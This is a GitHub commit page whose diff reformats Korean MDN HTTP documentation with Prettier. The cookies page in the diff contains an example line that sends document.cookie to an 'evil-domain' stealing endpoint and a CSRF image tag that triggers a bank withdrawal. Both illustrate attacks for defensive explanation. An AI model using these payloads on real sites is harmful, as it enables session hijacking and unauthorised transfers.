Skip to content

Commit

Permalink
ko: Format /web/http using Prettier (#14734)
Browse files Browse the repository at this point in the history
  • Loading branch information
queengooborg authored Jul 30, 2023
1 parent cc2d642 commit 0f2b2fa
Show file tree
Hide file tree
Showing 45 changed files with 200 additions and 171 deletions.
1 change: 0 additions & 1 deletion .prettierignore
Original file line number Diff line number Diff line change
Expand Up @@ -69,7 +69,6 @@ build/
/files/ko/web/api/**/*.md
/files/ko/web/css/**/*.md
/files/ko/web/html/**/*.md
/files/ko/web/http/**/*.md
/files/ko/web/javascript/**/*.md
/files/ko/web/svg/**/*.md

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
title: 웹의 리소스 식별하기
slug: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web
---

{{HTTPSidebar}}
HTTP 요청 대상을 "리소스"라고 하며 리소스의 특성은 더 이상 정의되지 않습니다. 리소스는 문서, 사진 등으로 그 어떤 것이든 될 수 있습니다. 각 리소스는 리소스 식별을 위해 HTTP 전체에서 사용되는 {{Glossary("URI")}}(Uniform Resource Identifier)로 식별됩니다.

Expand Down Expand Up @@ -45,19 +46,19 @@ urn:ietf:rfc:7230
- ![Protocol]([email protected])
- : `http://`는 프로토콜로, 브라우저가 사용해야 하는 프로토콜을 나타냅니다. 일반적으로 프로토콜은 HTTP이거나 보안 버전인 HTTPS입니다. 웹은 이 두 가지 중 하나를 사용하지만, 브라우저는 메일 클라이언트를 여는 `mailto:` 또는 파일 전송을 처리하는 `ftp:`와 같은 다른 프로토콜을 처리하는 방법도 알고 있으므로 이러한 프로토콜을 보더라도 놀라지 않으셔도됩니다. 일반적인 스키마는 다음과 같습니다.

| 스키마 | 설명 |
| ----------- | -------------------------------------------------------------------- |
| data | [Data URL](/ko/docs/Web/HTTP/Basics_of_HTTP/Data_URLs) |
| file | 호스트별 파일 이름 |
| ftp | {{Glossary("FTP","File Transfer Protocol")}} |
| http/https | [하이퍼 텍스트 전송 프로토콜 (보안)](/ko/docs/Glossary/HTTP) |
| javascript | URL내 JavaScript 코드 |
| mailto | 전자 메일 주소 |
| ssh | 보안 쉘 |
| tel | 전화 |
| urn | 통합 자원 이름 |
| view-source | 리소스의 소스코드 |
| ws/wss | [웹 소켓 연결 (보안)](/ko/docs/Web/API/WebSockets_API) |
| 스키마 | 설명 |
| ----------- | ------------------------------------------------------------ |
| data | [Data URL](/ko/docs/Web/HTTP/Basics_of_HTTP/Data_URLs) |
| file | 호스트별 파일 이름 |
| ftp | {{Glossary("FTP","File Transfer Protocol")}} |
| http/https | [하이퍼 텍스트 전송 프로토콜 (보안)](/ko/docs/Glossary/HTTP) |
| javascript | URL내 JavaScript 코드 |
| mailto | 전자 메일 주소 |
| ssh | 보안 쉘 |
| tel | 전화 |
| urn | 통합 자원 이름 |
| view-source | 리소스의 소스코드 |
| ws/wss | [웹 소켓 연결 (보안)](/ko/docs/Web/API/WebSockets_API) |

### 도메인 이름

Expand Down
1 change: 1 addition & 0 deletions files/ko/web/http/basics_of_http/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
title: HTTP 기본
slug: Web/HTTP/Basics_of_HTTP
---

{{HTTPSidebar}}

HTTP는 상당히 확장 가능한 프로토콜입니다. 자원과 URI의 개념, 메시지의 단순한 구조, 통신 흐름을 위한 클라이언트-서버 구조와 같은 몇 가지 기본 개념에 의존합니다. 이러한 기본 개념을 토대로, 새로운 HTTP 메서드나 헤더의 생성을 통해 새로운 기능과 새로운 의미를 더하는 수많은 확장들이 수년간 생겨났습니다.
Expand Down
62 changes: 32 additions & 30 deletions files/ko/web/http/browser_detection_using_the_user_agent/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -29,25 +29,25 @@ user agent 감지를 피하는 몇 가지 방법이 있습니다!

- `기능 탐지` 기능 탐지는 어떤 브라우저가 당신의 페이지를 렌더링하는지를 알아내려고 할 때가 아니라, 어떤 특정한 기능을 당신이 사용가능한지를 확인할 때 사용합니다. 그렇지 않다면, 대비책을 사용하세요. 브라우저 간의 차이점을 찾는 몇 안되는 경우에서는 user agent 문자열을 사용하는 대신, 브라우저가 API를 구현하는 방법을 탐지하고 API를 사용하는 방법을 결정하는 테스트를 구현하는 것이 좋습니다. 아래는 기능탐지의 좋은 최신 예시 입니다. 최근 크롬은[experimental lookbehind support to regular expressions](https://www.chromestatus.com/feature/5668726032564224)을 추가했지만, 다른 브라우저들은 이를 지원하지 않습니다. 그러므로 당신은 이와 같이 해야 한다고 잘못 생각하고 있을 것입니다.

```js
// 아래 코드 조각은 한 문자열을 특별한 표기법으로 쪼갭니다.

if (navigator.userAgent.indexOf("Chrome") !== -1){
// 네! 이 사용자가 정규표현식의 look-behind 기능을 사용하려는 것
// 같습니다.
// /(?<=[A-Z])/를 사용하지 마십시오. 정규표현식의
// look-behind 기능을 지원하지 않는 브라우저에서는 문법오류가
// 발생할 것입니다. 왜냐하면, 모든 브라우저들은 실제로 실행되지
// 않는 부분을 포함한 전체 스크립트를 해석하기 때문입니다.
var camelCaseExpression = new RegExp("(?<=[A-Z])");
var splitUpString = function(str) {
return (""+str).split(camelCaseExpression);
};
```js
// 아래 코드 조각은 한 문자열을 특별한 표기법으로 쪼갭니다.

if (navigator.userAgent.indexOf("Chrome") !== -1) {
// 네! 이 사용자가 정규표현식의 look-behind 기능을 사용하려는 것
// 같습니다.
// /(?<=[A-Z])/를 사용하지 마십시오. 정규표현식의
// look-behind 기능을 지원하지 않는 브라우저에서는 문법오류가
// 발생할 것입니다. 왜냐하면, 모든 브라우저들은 실제로 실행되지
// 않는 부분을 포함한 전체 스크립트를 해석하기 때문입니다.
var camelCaseExpression = new RegExp("(?<=[A-Z])");
var splitUpString = function (str) {
return ("" + str).split(camelCaseExpression);
};
} else {
/_아래 fallback 코드는 성능이 떨어지지만 작동하긴 합니다._/
var splitUpString = function(str){
return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g);
};
/_아래 fallback 코드는 성능이 떨어지지만 작동하긴 합니다._/;
var splitUpString = function (str) {
return str.replace(/[A-Z]/g, "z$1").split(/z(?=[A-Z])/g);
};
}
console.log(splitUpString("fooBare")); // ["fooB", "are"]
console.log(splitUpString("jQWhy")); // ["jQ", "W", "hy"]
Expand All @@ -65,19 +65,21 @@ look-behind 지원여부 자체를 테스트함으로써 이 문제들을 회피
var isLookBehindSupported = false;

try {
new RegExp("(?<=)");
isLookBehindSupported = true;
new RegExp("(?<=)");
isLookBehindSupported = true;
} catch (err) {
// agent가 look-behind 기능을 지원하지 않는다면, 위 문법을 사용한
// RegExp 객체의 생성이 에러를 던질 것이고, isLookBehindSupported는
// 여전히 false일 것입니다.
// agent가 look-behind 기능을 지원하지 않는다면, 위 문법을 사용한
// RegExp 객체의 생성이 에러를 던질 것이고, isLookBehindSupported는
// 여전히 false일 것입니다.
}

var splitUpString = isLookBehindSupported ? function(str) {
return (""+str).split(new RegExp("(?<=[A-Z])"));
} : function(str) {
return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g);
};
var splitUpString = isLookBehindSupported
? function (str) {
return ("" + str).split(new RegExp("(?<=[A-Z])"));
}
: function (str) {
return str.replace(/[A-Z]/g, "z$1").split(/z(?=[A-Z])/g);
};
```

위의 코드가 시범을 보였듯이, user agent를 살펴보지 않고도 어떤 기능에 대한 브라우저 지원 여부를 시험할 수 있는 방법이 **항상** 존재합니다. 기능 지원 여부를 확인하기 위해 user agent 문자열을 확인할 필요가 **전혀** 없습니다.
Expand Down Expand Up @@ -185,7 +187,7 @@ addEventListener(
() => {
orientationChanged = true;
},
PASSIVE_LISTENER_OPTION
PASSIVE_LISTENER_OPTION,
);

addEventListener("resize", () =>
Expand All @@ -196,7 +198,7 @@ addEventListener("resize", () =>
}
}
mediaQueryUpdated = orientationChanged = false;
}, 0)
}, 0),
);
```
Expand Down
2 changes: 1 addition & 1 deletion files/ko/web/http/client_hints/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ Accept-CH: DPR, Width, Viewport-Width, Downlink
또는

```html
<meta http-equiv="Accept-CH" content="DPR, Width, Viewport-Width, Downlink">
<meta http-equiv="Accept-CH" content="DPR, Width, Viewport-Width, Downlink" />
```

클라이언트가 `Accept-CH` header를 전달받게 되면 지원되는 경우, Client Hint header를 추가합니다. 예를 들어 위의 Accept-CH 예제를 기반으로 클라이언트는 모든 후속 요청에 DPR, Width, Viewport-Width 및 Downlink 헤더를 추가 할 수 있습니다.
Expand Down
6 changes: 4 additions & 2 deletions files/ko/web/http/cookies/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -125,7 +125,8 @@ console.log(document.cookie);
쿠키는 대개 웹 애플리케이션에서 사용자와 그들의 인증된 세션을 식별하기 위해 사용되곤 합니다. 그래서 쿠키를 가로채는 것은 인증된 사용자의 세션 하이재킹으로 이어질 수 있습니다. 쿠키를 가로채는 일반적인 방법은 소셜 공학 사용 혹은 애플리케이션 내 {{Glossary("XSS")}} 취약점을 이용하는 것을 포함합니다.

```js
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
new Image().src =
"http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
```

`HttpOnly` 쿠키 속성은 자바스크립트를 통해 쿠키 값에 접근하는 것을 막아 이런 공격을 누그러뜨리는데 도움을 줄 수 있습니다.
Expand All @@ -135,7 +136,8 @@ console.log(document.cookie);
[위키피디아](https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery)에 {{Glossary("CSRF")}}에 대한 좋은 예제가 있습니다. 위키피디아의 예와 같은 상황에서, 당신의 은행 서버에 돈을 입금하는 실제 요청 대신에, 실제로는 이미지가 아닌 이미지를 포함시키고 있습니다(예를 들어 필터링되지 않은 채팅이나 포럼 페이지 내에):

```html
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
<img
src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />
```

이제, 당신이 당신의 은행 계좌에 로그인하고 당신의 쿠키가 여전히 유효하다면(그리고 별 다른 검증 절차가 존재하지 않는다면), 해당 이미지를 포함하고 있는 HTML을 로드하자마자 돈이 송금될 것입니다. 이런 일들이 벌어지는 것을 방지하기 위한 몇 가지 기술이 있습니다:
Expand Down
2 changes: 1 addition & 1 deletion files/ko/web/http/cors/errors/corsdidnotsucceed/index.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
---
title: 'Reason: CORS request did not succeed'
title: "Reason: CORS request did not succeed"
slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed
---

Expand Down
2 changes: 1 addition & 1 deletion files/ko/web/http/cors/errors/corsdisabled/index.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
---
title: 'Reason: CORS disabled'
title: "Reason: CORS disabled"
slug: Web/HTTP/CORS/Errors/CORSDisabled
---

Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
---
title: 'Reason: Multiple CORS header ''Access-Control-Allow-Origin'' not allowed'
title: "Reason: Multiple CORS header 'Access-Control-Allow-Origin' not allowed"
slug: Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed
---

Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
---
title: 'Reason: CORS preflight channel did not succeed'
title: "Reason: CORS preflight channel did not succeed"
slug: Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed
---

Expand Down
2 changes: 1 addition & 1 deletion files/ko/web/http/cors/errors/corsrequestnothttp/index.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
---
title: 'Reason: CORS request not HTTP'
title: "Reason: CORS request not HTTP"
slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp
---

Expand Down
12 changes: 10 additions & 2 deletions files/ko/web/http/csp/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -91,7 +91,7 @@ Content-Security-Policy: default-src 'self'; img-src *; media-src example.org ex

기본적으로 여기서는 문서 원본의 콘텐츠만 허용되며 다음은 예외로 처리됩니다.

- 이미지는 출처에 상관없이 로드할 수 있습니다("*" 와일드카드 참고).
- 이미지는 출처에 상관없이 로드할 수 있습니다("\*" 와일드카드 참고).
- 미디어는 example.org 및 example.net에서만 허용되며 해당 사이트의 하위 도메인에서는 허용되지 않습니다.
- 실행 가능한 스크립트는 userscripts.example.com에서 온 것만 허용됩니다.

Expand Down Expand Up @@ -144,27 +144,35 @@ Content-Security-Policy: default-src 'self'; report-to http://reportcollector.ex
보고서 JSON 객체는 `application/csp-report` {{HTTPHeader("Content-Type")}}과 함께 전송되며 다음 데이터를 포함합니다.

- `blocked-uri`

- : 콘텐츠 보안 정책에 의해 로드가 차단된 리소스의 URI입니다. 차단된 URI가 `document-uri`와 다른 출처인 경우, 차단된 URI는 스키마, 호스트 그리고 포트만 포함되도록 자릅니다.

- `disposition`

- : {{HTTPHeader("Content-Security-Policy-Report-Only")}} 헤더 또는 `Content-Security-Policy` 헤더 사용 여부에 따라 `"enforce"` 또는 `"report"`로 나타납니다.

- `document-uri`

- : 위반이 발생한 문서의 URI입니다.

- `effective-directive`

- : 정책 시행으로 인해 위반이 발생한 지시문입니다. 실제로 적용된 지시문이 `style-src`인 경우에 Chrome이 `style-src-elem`/`style-src-attr`을 제공하는 것과 같이 일부 브라우저는 다른 값을 제공할 수 있습니다.

- `original-policy`

- : `Content-Security-Policy` HTTP 헤더에 지정된 원래 정책입니다.

- `referrer` {{Deprecated_Inline}} {{Non-standard_Inline}}

- : 위반이 발생한 문서의 리퍼러입니다.

- `script-sample`

- : 위반을 일으킨 인라인 스크립트, 이벤트 처리기 또는 스타일의 처음 40자입니다. `'report-sample'`이 포함된 `script-src*``style-src*` 위반에만 적용 가능합니다.

- `status-code`

- : 전역 객체가 인스턴스화된 리소스의 HTTP 상태 코드입니다.

- `violated-directive` {{Deprecated_Inline}}
Expand All @@ -181,7 +189,7 @@ Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-t
`signup.html`의 HTML은 다음과 같습니다.

```html
<!DOCTYPE html>
<!doctype html>
<html lang="en-US">
<head>
<meta charset="UTF-8" />
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -51,7 +51,7 @@ Using [XHR](/ko/docs/Web/API/XMLHttpRequest) with credentials:

```js
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com/', true);
xhr.open("GET", "http://example.com/", true);
xhr.withCredentials = true;
xhr.send(null);
```
Expand All @@ -60,8 +60,8 @@ Using [Fetch](/ko/docs/Web/API/Fetch_API) with credentials:

```js
fetch(url, {
credentials: 'include'
})
credentials: "include",
});
```

## 명세서
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,7 @@ Access-Control-Allow-Methods: *
- `<method>`
- : 허용된 [HTTP 요청 메서드](/ko/docs/Web/HTTP/Methods)의 목록이며 콤마로 구분됩니다.
- `*` (와일드카드)
- : `*`는 자격 증명이 없는 요청 ([쿠키](/ko/docs/Web/HTTP/Cookies)나 HTTP 인증 정보가 없는 요청)에 대해서만 특수 와일드카드 값으로 취급됩니다. 자격 증명이 있는 요청에서는 특별한 의미를 갖지 않고 단순히 "*"라는 메서드 이름으로 취급됩니다.
- : `*`는 자격 증명이 없는 요청 ([쿠키](/ko/docs/Web/HTTP/Cookies)나 HTTP 인증 정보가 없는 요청)에 대해서만 특수 와일드카드 값으로 취급됩니다. 자격 증명이 있는 요청에서는 특별한 의미를 갖지 않고 단순히 "\*"라는 메서드 이름으로 취급됩니다.

## 예제

Expand Down
6 changes: 3 additions & 3 deletions files/ko/web/http/headers/authorization/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -54,10 +54,10 @@ HTTP basic 인증을 사용하여 비밀번호를 보호하기 위해 Apache 또

## 기술 사양

| 기술 사양 | 제목 |
| ---------------------------------------------------- | -------------------------------------- |
| 기술 사양 | 제목 |
| --------------------------------------- | -------------------------------------- |
| {{RFC("7235", "Authorization", "4.2")}} | HTTP/1.1: Authentication |
| {{RFC("7617")}} | The 'Basic' HTTP Authentication Scheme |
| {{RFC("7617")}} | The 'Basic' HTTP Authentication Scheme |

## 함께 더 보기

Expand Down
2 changes: 1 addition & 1 deletion files/ko/web/http/headers/content-disposition/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -62,7 +62,7 @@ Content-Disposition: form-data; name="fieldName"; filename="filename.jpg"

- `filename*`

- : "filename"과의 유일한 차이점은 "filename*"는 인코딩으로 [RFC 5987](https://tools.ietf.org/html/rfc5987)을 사용한다는 것 뿐입니다. 하나의 헤더 필드에 "filename"과 "filename*"이 둘 다 사용된다면 "filename*"이 보다 우선됩니다.
- : "filename"과의 유일한 차이점은 "filename*"는 인코딩으로 [RFC 5987](https://tools.ietf.org/html/rfc5987)을 사용한다는 것 뿐입니다. 하나의 헤더 필드에 "filename"과 "filename*"이 둘 다 사용된다면 "filename\*"이 보다 우선됩니다.

## Examples

Expand Down
4 changes: 2 additions & 2 deletions files/ko/web/http/headers/content-language/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -46,14 +46,14 @@ Content-Language: de-DE, en-CA
글로벌 [`lang`](/ko/docs/Web/HTML/Global_attributes/lang) 어트리뷰는 HTML 엘리먼트 상에서 전체 [HTML](/ko/docs/Web/HTML) 문서 혹은 그의 일부의 언어를 나타내기 위해 사용됩니다.

```html
<html lang="de">
<html lang="de"></html>
```

다음과 같이 문서 언어를 나타내기 위해 이와 같은 메타 엘리먼트를 사용하지 **마세요**:

```html example-bad
<!-- /!\ This is bad practice -->
<meta http-equiv="content-language" content="de">
<meta http-equiv="content-language" content="de" />
```

### 리소스에 대해 대상 청중 나타내기
Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
---
title: 'CSP: default-src'
title: "CSP: default-src"
slug: Web/HTTP/Headers/Content-Security-Policy/default-src
---

Expand All @@ -19,8 +19,8 @@ HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`default-src`** 구문은
- {{CSP("style-src")}}
- {{CSP("worker-src")}}

| CSP version | 1 |
| -------------- | ---------------------------------------- |
| CSP version | 1 |
| -------------- | ------------------------------- |
| Directive type | {{Glossary("Fetch directive")}} |

## Syntax
Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
---
title: 'CSP: img-src'
title: "CSP: img-src"
slug: Web/HTTP/Headers/Content-Security-Policy/img-src
---

Expand Down Expand Up @@ -55,7 +55,7 @@ Content-Security-Policy: img-src https://example.com/
아래의 {{HTMLElement("img")}} 태그가 차단되어 불러오지 않습니다:

```html
<img src="https://not-example.com/foo.jpg" alt="example picture">
<img src="https://not-example.com/foo.jpg" alt="example picture" />
```

## 명세서
Expand Down
Loading

0 comments on commit 0f2b2fa

Please sign in to comment.